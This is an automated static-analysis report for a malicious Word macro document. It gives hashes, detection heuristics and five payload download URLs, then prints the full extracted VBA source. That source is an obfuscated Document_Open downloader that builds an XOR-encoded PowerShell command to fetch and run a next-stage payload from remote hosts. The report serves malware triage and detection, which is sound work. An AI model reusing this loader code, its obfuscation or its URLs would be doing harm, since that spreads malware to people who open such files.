Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a025da7eaa98b1de…

MALICIOUS

Office (OLE)

104.2 KB Created: 2018-06-13 10:46:00 Authoring application: Microsoft Office Word First seen: 2018-06-21
MD5: 192e5cdbf2514df047c8cba8ee2a845a SHA-1: f925da4021dff68343fdc0c8d61080c7cd60d381 SHA-256: a025da7eaa98b1de3f40ead8f15b6f7683859b1f70f323536d2236818f688808
232 Risk Score

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-7012661-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-7012661-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    DwJKNT = Tan(31777)
rhYNBK = QCiFOwRb + VBA.Shell(FwEhjzFZdKT + Chr(wjhjjrfIK + vbKeyP + issVRHHzn) + "owers" + qXtOWCw + Hzbqr + jLuoAHMdDE + YocYAQYHu + UQAAXqjsjC, 44867 - 44867)
PKoXM = AKiVz
  • Payload URL decoded from an encoded PowerShell loader (5 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    End Function
Private Sub Document_open()
On Error Resume Next
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.ordercakeonlineinlucknow.com/CEX2/ Referenced by macro
    • http://www.blackriverdistribution.com/qCjh9e/Referenced by macro
    • http://www.promotimisoreana.md/fDD1zDh/Referenced by macro
    • http://gloriaceramica.ru/OsqdfOK/Referenced by macro
    • http://www.radler.md/AOyizLv/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 15213 bytes
SHA-256: 9019bd1f0f7945b859b6086dac510f7e60a503f69feefe7f20fbb91f1a56d500
Detection
ClamAV: No threats found
Obfuscation or payload: likely
236 of 405 identifiers look randomly generated (e.g. 'qRJjoRaQwrv') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "kwHfCEUccaz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function rhYNBK()
On Error Resume Next
ljoFI = AVuXsZ
hXQnXb = CDbl(iUWJG * CDbl(BPPfr + Int(pNjTN * Rnd(12432)) * EzDcF * Log(81793 * irsBqh - ojRNfw + Fix(51))))
AECjNX = CDbl(fsQSId)
WNoJO = iPGiH
YPSiFY = Tan(27506)
jkFPjj = Tan(69553)
ArozJ = ZNDZw
pSXOs = CDbl(WRjDlz * CDbl(ZzzMh + Int(qIucSi * Rnd(27517)) * ponapJ * Log(41436 * vAAFm - sizFq + Fix(51))))
upEfi = CDbl(hdwdvo)
HDwLcs = QQfMsk
XOzNZ = Tan(19218)
kUaBWu = Tan(11677)
GvUbr = OiUJB
dRbpuB = CDbl(niKrn * CDbl(BMPKYA + Int(hkwCrB * Rnd(2441)) * BiKCq * Log(10159 * CmvJt - iswEhh + Fix(51))))
UYwtAz = CDbl(wzowok)
cPOGA = sAwJT
UOlEvD = Tan(34080)
IzXvJP = Tan(94655)
YiNzQ = ltwzPl
FwXIjD = CDbl(uzUZp * CDbl(ppjlj + Int(VjLbPR * Rnd(96444)) * OKwDj * Log(45685 * FLiCiq - NYNnI + Fix(51))))
uWHqi = CDbl(BjDQqR)
jiEiAF = SmNbJ
JCLPt = Tan(51870)
DwJKNT = Tan(31777)
rhYNBK = QCiFOwRb + VBA.Shell(FwEhjzFZdKT + Chr(wjhjjrfIK + vbKeyP + issVRHHzn) + "owers" + qXtOWCw + Hzbqr + jLuoAHMdDE + YocYAQYHu + UQAAXqjsjC, 44867 - 44867)
PKoXM = AKiVz
qtTRFc = CDbl(NGtII * CDbl(jbfijS + Int(ZKiZqh * Rnd(42388)) * EzoRQ * Log(58056 * NpAvI - CAWCfq + Fix(51))))
KubXGL = CDbl(HEqrC)
OqhnJ = XJMWKq
JSAlq = Tan(31572)
YUbuDW = Tan(45198)
CuZXCR = tRLnoS
iuGtZ = CDbl(WwYRj * CDbl(kYjKc + Int(vaMvIP * Rnd(13839)) * dQuKWC * Log(46592 * FdnUV - PDWIq + Fix(51))))
wjmqmu = CDbl(GENui)
TTFXIb = LIYzZV
bkXuNu = Tan(12864)
hVKHiq = Tan(86584)
End Function
Private Sub Document_open()
On Error Resume Next
Vrwha = JzJNMu
CEjZO = CDbl(jpLmR * CDbl(zPAQl + Int(VKAzN * Rnd(51887)) * BGBJPm * Log(24853 * jFBDBR - AdKFi + Fix(51))))
jMEqIw = CDbl(zijwz)
qNKzN = zQKXnI
HFnbfJ = Tan(63439)
dSIiX = Tan(96747)
sWAKu = DHWwO
ZZPII = CDbl(oAaYp * CDbl(iMnpK + Int(GELiwr * Rnd(19772)) * SjuIna * Log(48034 * WlIfk - DnwTh + Fix(51))))
urbYw = CDbl(CHGRl)
sfpCj = AABXmi
LYntar = Tan(77484)
chPOzl = Tan(82153)
rhYNBK
kPIfJ = hQCvhi
SqwsNh = CDbl(kpIXE * CDbl(OWGRra + Int(iidXK * Rnd(86109)) * zjwFpH * Log(93513 * lQsCzr - uHlaM + Fix(51))))
oMZhUk = CDbl(BrChz)
XlpYo = PQjVlj
bNlQf = Tan(20206)
KKlEH = Tan(44225)
CYrKiM = QCFDd
zZVMP = CDbl(HiErnw * CDbl(IhciAz + Int(DVMwN * Rnd(12039)) * tAhQi * Log(12016 * iNDzl - dOzhD + Fix(51))))
RJbNW = CDbl(JNOiXa)
sUiTY = PuipXf
cnYMBi = Tan(70964)
tDpoX = Tan(8311)
End Sub


Attribute VB_Name = "BMMELJMdoKDAjA"
Function qXtOWCw()
On Error Resume Next
uNFmYJ = CDbl(wQXrM)
VMdjKL = Tan(656)
YcdmQ = CDbl(oXSjs * CDbl(IEFEZw + Int(zNLXqO * Rnd(13555)) * rHupj * Log(23903 * HsjqS - WcwKEK + Fix(51))))
RSNVB = Tan(85617)
vwMUif = clPNl
rzzZV = Ruzjs
sBkGCrsZHX = "HeLL " + " [strInG]::JoIN" + "('',([cHar[]]" + " (41,107, 89,11" + "1 ,76 , 88," + " 70, 45 " + ", 48,45 ,9" + "9,1" + "04 ,122 ,32,9"
ZtSjT = CDbl(zQNkH)
qzYuZ = Tan(76227)
iVUFsm = CDbl(pQJzs * CDbl(UTLYV + Int(EYIbCZ * Rnd(46630)) * WYCYq * Log(89340 * VVcSCm - wDKwu + Fix(51))))
zqTBqa = Tan(27562)
IzwiFT = maFRF
TTunwS = iZMYS
maDtMKm = "8 ,111,103, " + "10" + "4 , 11" + "0,121 " + ",45 , 127," + "108, 99 ,105," + " 98,9" + "6, 54" + ", 41,79,119,"
ziEvU = CDbl(dmSHA)
dSjEAi = Tan(31094)
mwrlwX = CDbl(bsUcM * CDbl(qDSLM + Int(rRiDW * Rnd(45619)) * kwTsQ * Log(82792 * iqToT - KBEhb + Fix(51))))
zlrMzW = Tan(55076)
lvTAk = rIrpNB
ZvbKmi = Sipap
lbtCM = "123 ,110, 66" + ", 45 , 48" + " ,4" + "5, " + "99," + " 10"
BFtYC = CDbl(PKsnMC)
YZhtjU = Tan(41638)
MBRrb = CDbl(iUjIR * CDbl(Swnvt + Int(niQSdP * Rnd(27120)) * KmjTF * Log(33464 * FMXQB - zqSnK + Fix(51))))
jFXRfi = Tan(2959)
iMjQfs = onzfS
TSDmYT = bXjwj
ddaEwYs = "4 ,122" + ", 32 ,98" + ", 111," + "103," + "104 ," + "110 , 1" + "21,45 " + ",94 , 116,126" + ",121 ,10" + "4, 96"
EJvkfX = CDbl(iSuUYp)
iGnUBp = Tan(7946)
mAsnB = CDbl(mbUNH * CDbl(GYwIX + Int(mWwrP * Rnd(25022)) * RRThz * Log(79647 * EKqiO - SADcoE + Fix(51))))
EspajR = Tan(50515)
vhUuX = lSWCK
SzSwN = sowfb
ipsCnbcvzC = ",35 , 67" + ",104 , 1" + "21,35 , 90" + ", 104,1" + "11 ,78 ," + " 97 , 1" + "00 , 104 , 99 " + ",121," + " 54" + ",41,90,105 , 11"
kCUfcz = CDbl(oEzKvs)
LYctz = Tan(65796)
CuwHGo = CDbl(UHlntZ * CDbl(LMGZw + Int(JQKuma * Rnd(23032)) * YThnii * Log(35262 * bVnIo - RNOCTY + Fix(51))))
VLMmh = Tan(44096)
klmnzO = wjkHnf
ZzBvt = bhSliU
XlwwfJojiO = "0 , 71, 120" + " ,70" + " , 45 ,48," + "45 ,42, 10" + "1,121 ,12" + "1, 125,5" + "5, 3"
vrcrTA = CDbl(rphIa)
HVBAH = Tan(61203)
aZwjIo = CDbl(WkYpSt * CDbl(jwJnMN + Int(kiHHQ * Rnd(40144)) * RsjHKS * Log(63878 * DQzrtC - jqYFz + Fix(51))))
QhkTH = Tan(46467)
nutoUU = TvQjL
YAHjqw = JOrYjV
rhciB = "4 , 34" + " , 122,12" + "2,122 " + ",35 , 9"
wmjQCL = CDbl(cwTaz)
NBKwn = Tan(3989)
mVowzn = CDbl(WAatj * CDbl(mDjqtG + Int(IniFjw * Rnd(53960)) * uBHTj * Log(49582 * fWBoOj - zlubc + Fix(51))))
ttCPK = Tan(97365)
LYKpE = znnzKF
qzMoHY = zZtJQi
qRJjoRaQwrv = "8 ," + "127,105, 104 " + ",127 ,110 ," + " 108 ,102 " + ",104," + " 98"
VLpLJ = CDbl(idFXKi)
WSBwr = Tan(17421)
HuViNK = CDbl(wBKpZ * CDbl(jojbz + Int(RRlifX * Rnd(7018)) * nVwmi * Log(81198 * LczSlh - jiSDNa + Fix(51))))
OuQBr = Tan(5608)
XMlJOt = iDPcJd
kdsmll = irBSU
SzZMn = ",99 , 9" + "7,100,99 ,104," + " 100,99" + " , 97,12"
qXtOWCw = sBkGCrsZHX + maDtMKm + lbtCM + ddaEwYs + ipsCnbcvzC + XlwwfJojiO + rhciB + qRJjoRaQwrv + SzZMn
End Function
Function Hzbqr()
On Error Resume Next
FjEAtM = CDbl(rbcXzm)
Zbfkn = Tan(75597)
iBJGnz = CDbl(bSwMCj * CDbl(FCZnXv + Int(hwdCn * Rnd(7910)) * caUji * Log(68473 * XSYzqL - YUvEuP + Fix(51))))
DCHVj = Tan(62296)
kAqjkU = chwso
qQIGb = LGcusi
UBKHrhU = "0 ,11" + "0 ,102, 99 , 9" + "8 " + ", 1" + "22,35, " + "110,98,96," + "34,78 , 72, 8" + "5 ,63"
VVYFN = CDbl(KtloLt)
YYNOv = Tan(6183)
TBRoz = CDbl(ndwFH * CDbl(CaSNO + Int(uwQwjs * Rnd(68420)) * bcjNRv * Log(22190 * EWwZwr - onPqs + Fix(51))))
SOfEFD = Tan(62641)
WwRpf = sbLQC
SlUzzw = hsThzc
sOPiWGKTpP = " ,34, " + "77, 101,121" + ", 121 , 125, 5" + "5 " + ",34" + ", 34 ,12" + "2 ,1" + "22, 122 , 35 ," + "111,97, 108"
tIVTtb = CDbl(nzBOw)
pIOEJM = Tan(85973)
fwRNPZ = CDbl(nfKEW * CDbl(Ybwpb + Int(SOlnvu * Rnd(41179)) * wzfJqX * Log(84919 * Mwqtm - rzYvBF + Fix(51))))
ivGaw = Tan(23025)
OPAwh = aXmOAs
iiAXTi = svBai
cTsqpTsHif = ",110 , 102 " + ",127 , 100 ," + "123 " + ",104,127 ,105 ," + "100, " + "126 " + ",121, 127,100"
zDVjK = CDbl(ztTCCk)
oREZi = Tan(84469)
DjuPvH = CDbl(IlNGuV * CDbl(innjaS + Int(mOzLa * Rnd(51599)) * dmUnrT * Log(80431 * tBISqj - tJJEzV + Fix(51))))
BTZEK = Tan(32302)
tlaIbn = UnCVd
HQDaX = LoDzX
ltuUzKKVum = " ,111 ," + " 120 , 121" + ",100, 98 ,99 , " + "35 , 110, 98" + ", 96," + "34 ,12" + "4 , 78 ," + "103 ,10" + "1,52,104 ,3" + "4 ,77 ,1"
BjhcF = CDbl(hnTjMG)
FlAOm = Tan(17804)
XiPsQ = CDbl(WEAJBz * CDbl(wZOsE + Int(tLnzn * Rnd(75150)) * vjlUw * Log(90312 * QoaVI - JmUKnv + Fix(51))))
hhfMHm = Tan(83461)
mKwskG = GrdKr
Kwznl = EaAqHC
jhMuf = "01 , 12" + "1 ,12" + "1,125,55," + " 34,34 , " + "122" + " , 122 , 122 ," + "35, 12" + "5 ," + " 127"
YRbTpc = CDbl(wTGni)
pOEYMK = Tan(6857)
HvXjTX = CDbl(lDJGXl * CDbl(FSivT + Int(DWWFE * Rnd(8)) * DcGqzj * Log(4435 * trXEpi - GFwWH + Fix(51))))
wKRFKZ = Tan(72513)
LbLqd = lQQGi
PEtsC = czAib
hozriV = ",98, 96,98 " + ",121,100 " + ",96" + " ,100,126 ," + "98 ," + "127,104" + ",108, " + "99, 108" + " , 35, 96 , "
GYwjq = CDbl(EiXNd)
lESplo = Tan(19000)
YhniFO = CDbl(CAUHLt * CDbl(DXpHhR + Int(SIqCPG * Rnd(55932)) * cGiOz * Log(37110 * RjjXH - QmNNB + Fix(51))))
wiTCE = Tan(50298)
uIwFGX = KWBVd
GUZvk = CJJms
iRGjVQ = "105" + ", 34 " + ", 107 ,73" + " ," + " 73 ,60 ,119" + " ,73," + "101 ,34, 77 "
IEioK = CDbl(zIlvF)
NzjpJE = Tan(49067)
HAzYN = CDbl(uPiECT * CDbl(cKXsOJ + Int(IzvTk * Rnd(5502)) * vGzJwt * Log(44904 * wiQvZ - YMHdBK + Fix(51))))
EfjdP = Tan(61816)
VWOpb = jYkno
uMfVDt = DZsZj
SuThjAZ = ", 101 ,121,1" + "21,125 , 55" + ", 3" + "4 ,34 , 106 ,97" + " ," + " 98," + "127 , 100"
Hzbqr = UBKHrhU + sOPiWGKTpP + cTsqpTsHif + ltuUzKKVum + jhMuf + hozriV + iRGjVQ + SuThjAZ
End Function
Function jLuoAHMdDE()
On Error Resume Next
PjVTDG = CDbl(WNCHoW)
jsNqbQ = Tan(61102)
ptqpFK = CDbl(HXUQpE * CDbl(mJhVP + Int(MFYWm * Rnd(98153)) * JtUMbS * Log(13978 * TAlKU - GrdaO + Fix(51))))
TnWhF = Tan(93207)
OSIwKu = GOvvY
NPzrDc = ZfPaMX
nlkDaKXOQn = ",108 ," + "110, 104, " + "127" + " ,108 , 96 ,100" + " , 110 " + ", 10" + "8,35 ,127"
UJAmYq = CDbl(iuwzNz)
NWXmGf = Tan(39348)
UNlvB = CDbl(IVZXi * CDbl(QAqQBJ + Int(FvUbN * Rnd(10314)) * vOZZK * Log(63075 * IBJAK - vjwYJD + Fix(51))))
adCYU = Tan(54806)
HwjPqf = WwvRJ
TwhiEr = soVlra
VtzIwStm = ",120 ,34 , 66 " + ",126 ,124,105" + ", 107 ,66 ,70," + "34," + "77 , 101" + " ,121," + " 121,"
wKhLWI = CDbl(sQSjwK)
cSMAFh = Tan(82906)
TiVJiw = CDbl(wMFUOK * CDbl(Mivuf + Int(zIzJm * Rnd(41615)) * qhuVVE * Log(68825 * nqqbk - hmvDO + Fix(51))))
KEGGf = Tan(30923)
LYrFSv = PWBGYL
wBXcUf = oCZwF
iKuDRMd = "125,55,34 , 34 " + ", 122 ,122,1" + "22, 35," + " 127 , 108 , 10" + "5,97,104, 127 "
NCQNNS = CDbl(kpEdTQ)
lanqFF = Tan(72496)
fPBMUA = CDbl(nfFwwH * CDbl(pftsF + Int(MSMlzH * Rnd(66227)) * DqBUdr * Log(11752 * ldlED - bZVWj + Fix(51))))
boSMw = Tan(87362)
itPHA = ArnPcb
GiTTnP = TLEDi
HhwcaOOV = ",35 ,96,105," + "34, 7" + "6,66 ,1" + "16, 100 ,119,65" + " , 123," + "34,42, 35" + ", 94 " + ",125, 97, 10" + "0 ,121,"
cWEVi = CDbl(NQzcKb)
XPXpW = Tan(68612)
IzuDE = CDbl(HlVPAk * CDbl(tMUROH + Int(LHUYwj * Rnd(28652)) * YFSYZ * Log(21094 * aUUkY - SWtUfl + Fix(51))))
GGUGkT = Tan(8891)
mzzijH = kaDTzV
sJVQX = TbmVrD
mjqkDw = " 37 " + ",42 ," + " 77" + " , " + "42, 36 ,5" + "4,41 ,123, 95 ," + " 87 , 127 , " + "90" + " ,1" + "21, 45 ,"
jFoMH = CDbl(YlXHnl)
RkLoG = Tan(12210)
UGWbA = CDbl(LQBSl * CDbl(Mdvjl + Int(EUMoBi * Rnd(30008)) * UniiKw * Log(74547 * qKNkn - uzwjir + Fix(51))))
KJZLEQ = Tan(80968)
mkSBA = aNsUD
zwPOp = FGwsUK
CawOVPPT = "48, 45,41,107," + "89,11" + "1 , 7" + "6 ,88" + " , 70 , " + "35, 99, 104" + " ,117 , 121,37" + ",60,3" + "3, 45 ,62 ,63 ," + "61 ,53,5"
RPwtOj = CDbl(zLrVoX)
QJdES = Tan(11767)
VXZHJ = CDbl(GPqok * CDbl(nqhvjE + Int(FoFbf * Rnd(86716)) * UGEwSw * Log(25221 * vmEzJ - bjLWU + Fix(51))))
kpVahU = Tan(45113)
vvqjv = dHuELE
wBKEZX = CVOZYq
iOuOLD = "3 ,61, 36 ,54" + " ,41 ,120,121,8" + "8,88, 68 ,1" + "00" + " , 4" + "5,48 , " + "45 , 4" + "1, 104 , 99 , " + "123, 55, 12" + "1, 104, 96 "
UvfTD = CDbl(GpFXto)
ildRwY = Tan(53277)
PuZjw = CDbl(XHJUr * CDbl(JnFNia + Int(QwUOG * Rnd(61416)) * ShBmb * Log(6266 * odkMtT - AUrLz + Fix(51))))
YpMOnt = Tan(58335)
VJUBo = wPbdD
jpLic = cVTBf
iQRhH = ",125, 4" + "5 ," + "38, 45,4" + "2, " + "81 , 42 , 4" + "5 ,38, 45" + ",41 , 123, 9" + "5 ,87 ,127,90, "
utBFb = CDbl(AAwui)
CcdVm = Tan(98777)
cDfrN = CDbl(lfzsRc * CDbl(BUdUS + Int(LPjBa * Rnd(30967)) * wlhEN * Log(18331 * wZZwdZ - wtSbQ + Fix(51))))
ioBoqv = Tan(91349)
qMbvf = tXOWRa
YRTiEt = VRKOTS
TNQhj = "121, 45, 38 ,45" + ", 42 ," + " 35,104, " + "117,104,42 , 5" + "4 ,107 , 9" + "8 ,127, 104, 1" + "08" + ", 110 ,101" + ", 37 , 4" + "1 , 66, 100,97 "
aORiX = CDbl(cAZwi)
nZJks = Tan(26966)
ImVMGJ = CDbl(BXsXcb * CDbl(ofqQFj + Int(uLHvX * Rnd(73141)) * ZXSbtd * Log(2311 * DwdjO - qmjEv + Fix(51))))
OnIjpq = Tan(69485)
uncumW = vEZbr
OiEjX = CTzwvX
khHKwuYrz = ", 121,119 ,102," + "45 , 1" + "00 ,99 ," + " 45 ,4" + "1 ,90 " + ", 105" + " ,110 ,71,"
jLuoAHMdDE = nlkDaKXOQn + VtzIwStm + iKuDRMd + HhwcaOOV + mjqkDw + CawOVPPT + iOuOLD + iQRhH + TNQhj + khHKwuYrz
End Function
Function YocYAQYHu()
On Error Resume Next
OZADJH = CDbl(vovEdw)
oalOml = Tan(6285)
DaLOuT = CDbl(oJBna * CDbl(jlqln + Int(fFHMm * Rnd(28204)) * KQHONr * Log(41539 * kzaAsS - FdZCFo + Fix(51))))
QwEYYq = Tan(85746)
Qkvtzz = mjJChz
napfvM = oqMjV
ZoMAin = " 120," + "70, 36, 11" + "8 ," + "121 ,127 , 116" + " ,1"
WvPRWZ = CDbl(hJZnw)
JoTfl = Tan(77366)
TcfqsS = CDbl(pqAbHX * CDbl(zcZrKB + Int(kGjbb * Rnd(92572)) * dIrCU * Log(52401 * LoosVJ - JohQB + Fix(51))))
libTUd = Tan(35972)
oolzor = bSCKa
AAoJYY = lGALii
ThbVYOEksa = "18, 41 ,79," + "119 , 123 ,110" + " , 66, " + "35 , 73" + ",98" + ",122,99 , 97 " + ",98,108 , 105"
Izudw = CDbl(dKHQzX)
PwhYh = Tan(83045)
wzpqU = CDbl(lOHDsE * CDbl(VKNAkr + Int(nqwvMX * Rnd(80139)) * EAnvh * Log(41335 * RIrEB - tzlAU + Fix(51))))
cZlbuP = Tan(64542)
TsEJj = qtqMvr
GpsYb = jzbfHd
mauNzJYi = ",75" + " ,100,97 " + ",104,37,41 , 6" + "6, 100, 97,121," + " 119 ,102 ,35 " + ",89 , " + "98, 94,121" + " , 127 , 100 ,9"
ziGqWo = CDbl(cNSuGr)
MjSYsf = Tan(99863)
QJjjSN = CDbl(rXRmw * CDbl(KduriX + Int(XQaaq * Rnd(91480)) * fOKzr * Log(85775 * WDCmGf - IjbjP + Fix(51))))
zhhsJz = Tan(70442)
arFbsM = kztbU
tSONH = bjrVC
ahVmtpD = "9,106 , 37 ,36" + ", 33 ," + " 45,41, 120 " + ", 121 ,88, 88 ," + "68,100 , 3" + "6 , 54,94, 121 " + ", 108 " + ",127 ,121,32 ," + " 93 , 1"
CtiqEY = CDbl(wtEwRt)
whRqtH = Tan(38430)
JHpnhF = CDbl(MOjMP * CDbl(Mvvvc + Int(wXQEv * Rnd(17837)) * AAhRpI * Log(34988 * SrriIo - HImjji + Fix(51))))
QlXjkK = Tan(22284)
DRTMO = ISMcI
Vwvkr = jTJlI
UuzisJDKt = "27, 9" + "8, " + "110, 104, 126" + ", 12" + "6, 45 ,41" + " ,120 ,1"
RvdoL = CDbl(sJnKAI)
kwuJX = Tan(14669)
lLiGN = CDbl(vvkjh * CDbl(hjoiC + Int(hpsTPE * Rnd(32865)) * dDmwZ * Log(63635 * rkYNov - LdqEQw + Fix(51))))
AXvJIz = Tan(88914)
wPUOoi = OdKoSR
aowAS = LdLtij
BBlFVnTdL = "21,88, 88 , 68," + "100 ,54 ,1" + "11," + " 127,104, 108 " + ", 102,54 , " + "112 , 110 ," + " 108,121 " + ", 110"
UrfQk = CDbl(QOUQu)
jrnQjw = Tan(36331)
BHbuUO = CDbl(KokpW * CDbl(QLSAtQ + Int(XfmjP * Rnd(8197)) * JtaQYb * Log(43571 * YPtwUi - dsvcp + Fix(51))))
HCCAwj = Tan(45113)
pnCHz = bOBuom
ckzkE = UCuPq
vqsRq = ",101 , 118,12" + "2 , 1" + "27,100 ,121 ," + "104, 3" + "2 ,101 ," + "98," + "126, 12" + "1 , 45,41"
lVClq = CDbl(liDuo)
rBrXP = Tan(49214)
wUAvD = CDbl(FIUaD * CDbl(BtFZqE + Int(zYjjit * Rnd(34337)) * AWlWJ * Log(8769 * shrcMW - qkdUUi + Fix(51))))
VSZTni = Tan(86172)
AXiNs = KiwFK
zFDXNf = brPYih
woSjziG = ", 82 ,35, 72, 1" + "17,110, 104 " + ", 125 " + ", 121 ,100 "
YBOaUV = CDbl(YJfwj)
nUiEM = Tan(5749)
jZqzj = CDbl(aTYKQ * CDbl(LdzVah + Int(AYRzW * Rnd(54585)) * nRoZd * Log(93527 * ksNijU - cBwtO + Fix(51))))
KzcKK = Tan(44589)
Aalkr = MVYWTF
WEivV = ajkEBZ
wnrtjTB = ",98, 99,35 ,64 " + ", 104,126 , 1" + "26 ," + "108,10" + "6,10" + "4 ,54 " + ",112, 112) |fOr" + "eaCH-oBJecT {[c" + "Har]" + "($_-bXoR '0x0d'"
YocYAQYHu = ZoMAin + ThbVYOEksa + mauNzJYi + ahVmtpD + UuzisJDKt + BBlFVnTdL + vqsRq + woSjziG + wnrtjTB
End Function
Function UQAAXqjsjC()
On Error Resume Next
VrEwlh = CDbl(Rtibbw)
MCqoi = Tan(29869)
NuPjLs = CDbl(QKKzi * CDbl(UMITiU + Int(iZCtr * Rnd(14846)) * hiOsGA * Log(37854 * NzTivL - vGHEiT + Fix(51))))
CiuwUR = Tan(76291)
zDYpj = vlnZdi
RHidn = LwcSW
NOjNjFHmjU = ")} )) | . ( $en" + "v:COMSpEc[" + "4,15,25]-J" + "OIn" + "'')"
UQAAXqjsjC = NOjNjFHmjU
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.